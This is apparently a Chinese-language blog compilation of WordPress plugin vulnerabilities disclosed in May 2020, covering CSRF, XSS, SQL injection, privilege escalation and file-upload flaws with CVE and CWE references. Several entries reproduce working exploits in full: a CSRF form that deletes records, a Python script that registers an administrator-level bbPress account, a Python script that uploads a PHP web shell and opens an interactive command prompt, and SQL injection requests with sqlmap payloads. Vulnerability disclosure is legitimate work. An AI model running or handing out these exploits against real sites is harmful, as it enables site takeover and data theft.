夏柔在这里整理了一大部分的漏洞汇总报告,仅供参考可能不是很全
如果帮到您了请给一个赞,原创文章转载注明谢谢
该文章耗时接近5小时,希望转载注明来源,夏柔都腰酸背痛了...
WordPress插件漏洞合集
一、多调度程序<= 1.0.0-通过CSRF任意删除记录
-
描述 : 缺少CSRF检查可能会使攻击者通过CSRF攻击从插件中删除任意记录(例如Professional记录)。该问题尚未修复,已于2020年5月29日升级为WP插件团队
- 概念证明: 纠正问题后,将显示PoC。
影响插件
- 暂无
参考文献
EDB-ID:48532
CVE:不适用
平台: PHP
类型: CSRF
CWE: CWE-352
WordPress插件多计划程序1.0.0-跨站点请求伪造(删除用户)
# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
# Google Dork: N/A
# Date: 2020-05-21
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip
# Category: Web Application
# Version: 1.0.0
# Tested on: CentOS 7 / WordPress 5.4.1
# CVE : N/A
# 1. Technical Description:
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.
# 2. Proof of Concept (PoC):
<html>
<form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional">
<input type="hidden" value="[ID]" name="pro_delete_id"><br>
<input type="hidden" value="Delete" name="professional_delete">
<input type="submit" value="Delete user">
</form>
</html>
二、MapPress地图<2.54.6-AJAX调用中的功能检查不当
-
描述: 由于CVE-2020-12077的修复程序不完整,具有订户特权的攻击者可能能够下载,删除和上传任意PHP文件,这可能导致远程命令执行。
影响插件
参考文献
CVE: 2020-12675
三、bbPress <2.6.5-通过论坛列表表进行身份验证的存储的跨站点脚本
-
描述: binit通过论坛列表发现了一个存储的XSS问题。
-
有效负载已放置,并且只能由具有Keymaster(bbPress)角色的帐户触发。
影响插件
参考文献
CVE: 2020-13487
类型: XSS
CWE: CEW-79
OWASP前十名: A7: 跨站脚本(XSS)
四、bbPress 2.6-2.6.5-通过超级主持人功能进行身份验证的特权升级
- 描述: hoangkien1020通过超级主持人功能发现了经过身份验证的特权升级问题。
影响插件
参考文献
类型: PRIVESC
OWASP前十名: A2:身份验证和会话管理中断
CWE: CWE-269
五、bbPress <2.6.5-启用新用户注册时未经身份验证的特权升级
- 描述: 启用新用户注册后,Raphael Karger发现了未经身份验证的特权升级问题。
影响插件
参考文献
CVE: 2020-13693
类型: PRIVESC
OWASP前十名: A2身份验证和会话管理中断
CWE: CWE-269
WordPress插件BBPress 2.5-未经身份验证的特权升级
# Exploit Title: WordPress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
# Date: 2020-05-29
# Exploit Author: Raphael Karger
# Software Link: https://codex.bbpress.org/releases/
# Version: BBPress < 2.5
# CVE: CVE-2020-13693
import argparse
import requests
import bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
useragent = {"User-Agent" : "This is a real browser i swear"}
def grab_nonce_login_page(url):
try:
login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
action = soup.find("form", class_="bbp-login-form")
wp_login_page = action.get("action")
wp_nonce = action.find("input", id="_wpnonce").get("value")
return (wp_nonce, wp_login_page)
except Exception as nonce_error:
print("[-] Nonce Error: '{}'".format(nonce_error))
return False
def exploit(url, username, password, email):
info = grab_nonce_login_page(url)
if info:
nonce = info[0]
login_page = info[1]
try:
return requests.post(login_page, data={
"user_login" : username,
"user_pass" : password,
"user_email" : email,
"user-submit" : "",
"user-cookie" : "1",
"_wpnonce" : nonce,
"bbp-forums-role" : "bbp_keymaster"
}, allow_redirects=False, verify=False, timeout=10, headers=useragent)
except Exception as e:
print("[-] Error Making Signup Post Request: '{}'".format(e))
return False
if __name__ == "__main__":
exit("asdasd")
parser = argparse.ArgumentParser()
parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
args = parser.parse_args()
site_exploit = exploit(args.url, args.username, args.password, args.email)
if site_exploit and site_exploit.status_code == 302:
exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
print("[-] Exploit Failed")
六、Final Tiles Gallery <3.4.19-经过身份验证的存储的跨站点脚本(XSS)
-
描述Final Tiles Gallery 3.4.18及更低版本中的多个跨站点脚本漏洞使远程攻击者可以通过图像的“标题”和“标题”字段注入任意Web脚本或HTML。成功利用此漏洞将使经过身份验证的高特权用户(author +)可以使用由管理员和其他用户查看的库将任意javascript代码注入到帖子中。时间轴(WPScanTeam):2020年5月14日-已确认问题,与供应商联系(通过https://www.machothemes.com/contact-us-now/)并给予14天的响应时间,然后逐步升级到WP插件团队。2020年5月27日-v3.4.19发布,修复了该问题。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
七、页面构建器:PageLayer-拖放网站构建器<1.1.2-CSRF导致XSS
-
描述: 漏洞使攻击者能够代表站点管理员伪造一个请求,以修改插件的设置,从而允许恶意Javascript注入。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
漏洞详情: PageLayer
类型: CSRF
CWE: CWE-352
八、页面构建器:PageLayer-拖放网站构建器<1.1.2-未受保护的AJAX导致XSS
- 描述: 该插件中几乎所有的AJAX操作端点均未包含权限检查,该权限检查允许这些操作由站点上经过身份验证的任何人执行。
- 最大的影响是pagelayer_save_content函数,该函数允许修改页面和发生XSS。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
九、拖放联系表7 <1.3.3.3的多个文件上传-未经身份验证的文件上传绕过
-
描述: 由于该插件无法正确检查正在上传的文件(通过dnd_codedropz_upload AJAX操作),因此攻击者可能绕过了相应的检查并上传了PHP文件。与此漏洞一起提供了一个有效的利用。它还需要将Contact Form 7插件安装在目标计算机上。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
CVE: 2020-12800
ExploitDB: 48520
PacketStorm: 157837
PacketStorm: 157951
URL: https://github.com/amartinsec/CVE-2020-12800
WordPress插件拖放文件上传联系表1.3.3.2-远程执行代码
# Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
# Date: 2020-05-11
# Exploit Author: Austin Martin
# Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/
# Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Vendor Homepage: https://www.codedropz.com/
# Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Version: 1.3.3.2
# Tested on: WordPress 5.4.1, PHP 7.41
# CVE : N/A
# Notes:
# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
# Application was patched by vendor within 24 hours of initial disclosure
# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed
# Any file types can be added to the "supported_type" parameter
# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
# Dangerous file types such as php have "_.txt" appended to the end creating a text file
# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
# ex. "php%" for file type and "shell.php%" for filename
# The PHP payload in the POC can be easily modified to gain a reverse shell
#!/usr/bin/python
import string
import random
import requests
from bs4 import BeautifulSoup
import sys
payloadurl=""
def RecurseLinks(base,file):
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
f = requests.get(base, headers=headers)
soup = BeautifulSoup(f.content, "html.parser")
for root in soup.find_all("a"):
href = root.get("href")
if (href.startswith("/")):
do = "nothing"
elif (href.endswith("/")):
RecurseLinks(base + href, file)
else:
if file in href:
print ("\n[+] File Found --> " + base + href)
global payloadurl
payloadurl = (base+href)
def main():
#os.system('cls')
print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution")
print("@amartinsec --> Twitter\nCVE:2020-12800\n")
#Build The Request
#Generate random URL for filename
file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))
urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")
#Finding the nonce used in the Ajax security string
print ("\n[+] Searching for security string nonce")
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
homepage = requests.get(urlinput,headers=headers)
homepage = homepage.text
homepage = homepage.split("ajax_nonce\":\"",1)[1]
securitykey = homepage[:10]
print("[+] Found security string --> " + securitykey)
url = urlinput + "/wp-admin/admin-ajax.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",
}
data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \
"php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \
"5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \
"dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \
"\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \
"\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \
"filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \
"<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \
"\r\n-----------------------------350278735926454076983690555601--\r\n"
print "\n[+] Sending payload to target"
response = requests.post(url, headers=headers, data=data)
if "200" in str(response):
print("[+] Looks like a successful file upload!\n")
elif "403" in str(response):
print("\nFile Upload Failed")
print("403 in response. Check security string")
sys.exit(1)
else:
print("File upload failed. Try the manual way with Burp")
sys.exit(1)
print("[+] Crawling for the uploaded file. This may take a minute...")
print("[+] Searching for " + file + ".php")
RecurseLinks(urlinput + "/wp-content/uploads/",file)
if payloadurl == "":
print("Can't find the file on the web server")
print("Try the manual method")
sys.exit(1)
#If all goes well, we can now send requests for RCE
print("[+] Success\n")
while True:
cmd= raw_input("[+] CMD: ")
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
print request.text
if __name__ == "__main__":
main()
十、由10Web <1.13.36创建的表单制作者-经过身份验证的SQL注入
-
描述: 通过/wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1“的参数,可以通过10Web WordPress插件1.13.35在Form Maker中进行经过身份验证的(admin +)SQL注入。
编辑(WPScanTeam):
-最初报告的版本(5.4.1)不存在,经研究人员确认为1.13.35
-2020年5月25日-其他地方已公开细节
-2020年5月26日-升级为WP插件小组 -
概念证明: 纠正问题后,将显示PoC。
影响插件
参考文献
类型:: SQLI
OWASP前十名: A1注射
CWE: CWE-89
十一、小于1.4.5的正式MailerLite注册表格-多个CSRF问题
- 描述: 尽管修复了SQL注入,该插件仍然受到CSRF问题的影响,这可能使攻击者可以通过登录的管理员来编辑,添加和删除任意注册表单视图。
影响插件
参考文献
类型: CSRF
CWE: CWE-352
十二、小于1.4.4的官方MailerLite注册表单-未经身份验证的SQL注入
- 描述: MailerLite插件中的大多数方法都不清除导致SQL注入的用户输入数据。同样,没有任何一种方法可以检查会导致CSRF问题到处出现的随机数令牌。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
漏洞分析: 立即前往
类型: SQLI
OWASP前十名: A1注射
CWE: CWE-89
十二、附加SweetAlert联系表7 <1.0.8-身份验证的存储跨站点脚本(XSS)
-
描述: 由于未正确输入字符,在插件设置页面的“错误警报”和“成功警报”部分的“标题”字段中存储了XSS“ post-auth”。
-
当您输入有效负载并保存更改时,它会永久嵌入在设置页面的html代码中,因此所有访问插件设置的用户都可能遭受攻击。
- 编辑(WPScanTeam):
2020年5月13日-确认并升级为WP Plugin Team
2020年5月21日-v1.0.8发布,修复了问题 - 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
十三、ThirstyAffiliates <3.9.3-已验证的存储XSS
- 描述: ThirstyAffiliates Affiliate Link Manager WordPress插件容易受到经过身份验证的存储跨站点脚本(XSS)的攻击。经过身份验证的攻击者(例如作者)可以附加带有恶意JavaScript的图像作为标题,一旦管理员用户查看,该图像便会执行。
-
概念证明: https://drive.google.com/file/d/1tFhSPnnzRSVLx-T0TwtHGbUTK63ib6xq/view
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
十四、WP前端配置文件<1.2.2-CSRF检查实施不正确
- 描述: WP Frontend Profile WordPress插件未正确验证跨站点请求伪造(CSRF)随机数。
影响插件
参考文献
类型: BYPASS
地址: https://github.com/glowlogix/wp-frontend-profile/issues/52
十五、付费会员Pro <2.3.3-经过身份验证的SQL注入
- 描述: 在仪表板上添加新订单时,高特权用户(管理员)可能会执行SQL注入攻击。
影响插件
参考文献
类型: SQLI
OWASP前十名: A1注射
CWE: CWE-89
十六、Ajax加载更多<5.3.2-经过身份验证的SQL注入
-
描述: Ajax加载更多WordPress插件易受POST /wp-admin/admin-ajax.php中带有param repeater ='或sleep(5)#&type = test的SQL注入的攻击。
-
攻击者需要使用edit_theme_options功能进行身份验证,默认情况下只有管理员具有此功能。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: SQLI
OWASP前十名: A1注射
CWE: CWE-89
WordPress插件Ajax加载更多5.3.1-'#1'身份验证的SQL注入
# Exploit Title: WordPress Plugin Ajax Load More 5.3.1 - '#1' Authenticated SQL Injection
# Exploit Author: SunCSR (Sun* Cyber Security Research) - Nguyen Khang
# Google Dork: N/A
# Date: 2020-05-18
# Vendor Homepage: https://connekthq.com/plugins/ajax-load-more/
# Software Link: https://vi.wordpress.org/plugins/ajax-load-more/
# Version: <= 5.3.1
# Tested on: Ubuntu 18.04
Description:
A blind SQL injection vulnerability is present in Ajax load more.
$wpdb->get_var("SELECT repeaterDefault FROM " . $table_name . " WHERE name
= '$n'");
POC:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: lab-pwn.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://lab-pwn.com/wordpress/wp-admin/admin.php?page=ajax-load-more-repeaters
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 597
Origin: http://lab-pwn.com
Connection: close
Cookie:
wordpress_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cab29a771b72eed2d65f02d50fd24ea85ae85f38d0fcc41abb56797fb8c7590a3;
wordpress_logged_in_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cb14c3363c0174d9eb93e2d2bbdd3627b293ea3e8fa8a1080325f62bb462938e2;
wp-settings-time-1=1589773793; PHPSESSID=0lsvlo9il6ibjiuflljl3qcub1
action=alm_update_repeater&value=%3Cli+%3C%3Fphp+if+(!has_post_thumbnail())+%7B+%3F%3E+class%3D%22no-img%22%3C%3Fphp+%7D+%3F%3E%3E%0A+++%3C%3Fphp+if+(+has_post_thumbnail()+)+%7B+the_post_thumbnail('alm-thumbnail')%3B+%7D%3F%3E%0A+++%3Ch3%3E%3Ca+href%3D%22%3C%3Fphp+the_permalink()%3B+%3F%3E%22+title%3D%22%3C%3Fphp+the_title()%3B+%3F%3E%22%3E%3C%3Fphp+the_title()%3B+%3F%3E%3C%2Fa%3E%3C%2Fh3%3E%0A+++%3Cp+class%3D%22entry-meta%22%3E%3C%3Fphp+the_time(%22F+d%2C+Y%22)%3B+%3F%3E%3C%2Fp%3E%0A+++%3C%3Fphp+the_excerpt()%3B+%3F%3E%0A%3C%2Fli%3E&repeater='
or sleep(5)#&type=test&alias=&nonce=ae68ab8c91
SQL map:
custom injection marker ('*') found in option '--data'. Do you want to
process it? [Y/n/q]
[12:43:16] [INFO] resuming back-end DBMS 'mysql'
[12:43:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>
<?php the_excerpt(); ?>
</li>&repeater=-2104' OR 5557=5557-- dHBa#&type=test&alias=&nonce=ae68ab8c91
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>
<?php the_excerpt(); ?>
</li>&repeater=' OR (SELECT 3214 FROM(SELECT
COUNT(*),CONCAT(0x716a6b7a71,(SELECT
(ELT(3214=3214,1))),0x716a716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
AHqK#&type=test&alias=&nonce=ae68ab8c91
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: action=alm_update_repeater&value=<li <?php if
(!has_post_thumbnail()) { ?> class="no-img"<?php } ?>>
<?php if ( has_post_thumbnail() ) { the_post_thumbnail('alm-thumbnail');
}?>
<h3><a href="<?php the_permalink(); ?>" title="<?php the_title();
?>"><?php the_title(); ?></a></h3>
<p class="entry-meta"><?php the_time("F d, Y"); ?></p>
<?php the_excerpt(); ?>
</li>&repeater=' OR SLEEP(5)-- pExJ#&type=test&alias=&nonce=ae68ab8c91
---
[12:43:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL >= 5.0
十七、Visual Composer <27.0-多个经过身份验证的跨站点脚本问题
- 描述: NinTechNet的Jerome Braundet发现了多个存储的跨站点脚本问题,这些问题可能允许具有贡献者及更高角色的用户在博客中注入任意JavaScript。
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
十八、团队成员<5.0.4-身份验证的存储跨站点脚本(XSS)
- 描述: 5.0.3版及更低版本的Team Members中的跨站点脚本漏洞允许中等特权的经过身份验证的攻击者(contributor +)通过成员的“描述/传记”注入任意Web脚本或HTML。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
十九、10Web <1.5.55的照片库-未经身份验证的SQL注入
-
描述: 1.5.55之前的Photo Gallery(10Web Photo Gallery)插件中的SQL注入通过frontend / models / model.php bwg_search_x参数存在。
-
影响力: 所有gallery_type均受此错误影响,任何未经身份验证的远程攻击者都可以利用该插件。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: SQLI
OWASP前十名: A1注射
CWE: CWE-89
二十、WP产品评论<3.7.6-未经身份验证的存储的跨站点脚本(XSS)
-
描述: 清除了所有用户输入数据,但是当在HTML属性中设置参数时,可以绕过使用的WordPress功能。成功的攻击导致恶意脚本被注入到该网站的所有产品中。
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
二十一、登录/注册弹出窗口<1.5-身份验证的存储跨站点脚本(XSS)
- 描述: 缺乏功能检查和安全随机数,任何经过身份验证的用户都可以通过AJAX API将JavaScript代码注入到插件的设置中,并使用它来定位WordPress后端的管理员。该漏洞已被利用了两个天。
影响插件
参考文献
类型: PRIVESC
OWASP前十名: A2身份验证和会话管理中断
CWE: CWE-269
二十二、Google的网站工具包<1.8.0-特权提升以获得Search Console访问权限
影响插件
参考文献
类型: PRIVESC
OWASP前十名: A2身份验证和会话管理中断
CWE: CWE-269
二十三、<3.6的简易推荐-认证的存储跨站点脚本(XSS)
- 描述: Easy Testimonials 3.5.2和更低版本中的多个跨站点脚本漏洞允许远程攻击者通过客户端名称,位置/ Web地址/其他,已审核位置/已审核产品/已审核项目,评分参数来注入任意Web脚本或HTML。
- 成功利用此漏洞将允许经过身份验证的具有中等特权的用户(contributor +)注入任意javascript代码,该代码将在admin和其他用户访问后端的“所有推荐”页面时执行。此外,如果启用了“允许在证言中使用HTML标签”选项(默认设置),则当在前端显示证言时也会触发XSS。
- 时间轴(WPScanTeam)
2020年5月9日-确认并升级为WP插件团队
2020年5月11日-WP插件小组进行调查
2020年5月12日-v3.6发布,解决了该问题 - 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
二十四、WooCommerce <4.1.0-复制产品时未转义的元数据
- 描述: WooCommerce更新日志文件已更新,并显示以下消息:
“安全性-修复了在复制产品时未转义的元数据。由Slavco报道。”
我们将在可用时提供更多信息来更新此问题。
影响插件
参考文献
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
二十五、SiteOrigin <2.10.16的页面生成器-CSRF到反映的跨站点脚本(XSS)
- 描述: 插件的实时编辑器和action_builder_content函数中的缺陷“允许攻击者代表站点管理员伪造请求并在管理员的浏览器中执行恶意代码。攻击者需要诱使站点管理员执行操作,例如单击链接或附件,以使攻击成功。”
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
CVE 2020-13643
CVE 2020-13642
类型 CSRF
CWE CWE-352
二十六、Chopslider <= 3.4-未经身份验证的盲SQL注入
- 描述: 在SQL语句中使用get_script / index.php页面的id参数时,未进行清理,从而导致未经身份验证的盲SQL注入问题。
研究员于2020年3月3日与供应商联系,但未收到任何答复。
影响插件
- 暂无
参考文献
CVE: 2020-11530
类型: SQLI
OWASP前十名: A1注射
CWE: CWE-89
二十七、Iframe <4.5-身份验证的存储跨站点脚本(XSS)
- 描述: 4.5之前的iframe插件无法清除URL。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
CVE: 2020-12696
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
二十八、<1.24.2的Elementor终极插件-注册绕过
-
描述: “ Elementor的Ultimate Addons插件最近修补了1.24.2版中的一个漏洞,即使在WordPress站点上禁用了注册,攻击者也可以创建订户级用户。”
-
此漏洞与Elementor PRO中的0day漏洞一起使用。
影响插件
参考文献
CVE 2020-13125
Type BYPASS
二十九、Elementor Pro <2.9.4-认证的任意文件上传
-
描述: 根据NintechNet的Jerome Bruandet所说,此漏洞(目前已被攻击者利用)允许任何登录的用户在博客上载并执行PHP脚本。
-
来自Wordfence的Chloe Chamberland也确认了该问题,并补充说:“此漏洞与用于Elementor的Ultimate Addons中的允许订阅者注册的漏洞一起使用。”
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
CVE: 2020-13126
类型; RCE
OWASP前十名: A1注射
CWE: CWE-94
三十、Elementor <2.9.8-SVG消毒剂旁路导致经过身份验证的存储XSS
-
描述: 来自NinTechNet的Jerome Bruandet发现了SVG清理程序中的一个旁路,该旁路可能导致具有upload_files功能的用户验证存储XSS问题。
影响插件
参考文献
类型: 旁路
三十一、WooCommerce <3.1.4的高级订单导出-身份验证的跨站点脚本(XSS)
-
描述:<3.1.4版的WooCommerce版本的Advanced Order Export插件由于缺少对woe_post_type参数的输入清理而反映了XSS漏洞。这允许在已登录用户的上下文中任意HTML和JavaScript注入和执行。
- 概念证明: 详细参考《漏洞概念证明》
影响插件
参考文献
CVE: 2020-11727
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
三十二、WTI类帖子<1.4.6-身份验证的存储跨站点脚本(XSS)
-
描述: 在WordPress的WTI Like Post插件1.4.4的管理页面中发现了一个Stored XSS漏洞。管理员提交制作的数据后,将对访问公共帖子的所有用户执行存储的脚本。
-
编辑(WPScanTeam):2020年3月27日-收到报告。2020年3月11日发布的v1.4.5试图解决此问题,但是修复不足(仅在客户端完成)。此外,带有事件的有效负载仍然有效。给研究人员发回电子邮件,然后研究人员就此与作者联系。2020年4月7日-作者回复研究人员,他们“将对此做进一步的改进”。2020年4月22日-要求研究员更新2020年4月28日-研究人员未提供任何更新,但已升级为WP Plugin团队。2020年5月1日-插件已关闭以供审核
影响插件
参考文献
CVE: 2020-8799
类型: XSS
OWASP前十名: A7跨站点脚本(XSS)
CWE: CWE-79
以上就是夏柔带给大家的2020年5月份最新插件漏洞合集,更多漏洞资讯qing q请前往《WordPress漏洞发布》。原创文章耗时4小时接近5小时,转载请注明来源否则没地方转载了